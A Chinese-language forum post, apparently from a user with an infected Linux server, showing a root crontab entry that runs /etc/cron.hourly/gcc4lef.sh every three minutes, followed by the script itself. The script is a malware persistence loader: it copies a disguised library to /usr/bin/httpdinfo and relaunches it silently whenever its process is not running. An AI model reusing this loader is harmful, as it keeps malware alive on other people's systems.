本帖最后由 菜鸟007 于 2018-8-30 21:48 编辑
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/3 * * * * root /etc/cron.hourly/gcc4lef.sh
你说的文件打开里面是这个内容,打开 /etc/cron.hourly/gcc4lef.sh 这个文件是下面的内容
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
if [ ! -f "/usr/bin/diskmanagerd" ]; then
\cp -rf /lib/libterminfo.so /usr/bin//httpdinfo
fi
test=0
for i in /proc/*
do
if [ -d "$i" ] && [ "$i" != "/proc/$$" ];then
if [ -f "$i/exe" ]; then
temp=`ls -l $i | grep exe | grep /bin/bash`
if [ "$temp" != "" ]; then
temp=`cat $i/cmdline`
result=$(echo "$temp" | grep "diskmanagerd")
if [ "$result" != "" ]; then
test=1
fi
fi
fi
fi
done
if [ "$test" = 0 ]; then
(exec /usr/bin//httpdinfo &> /dev/null &)
fi
|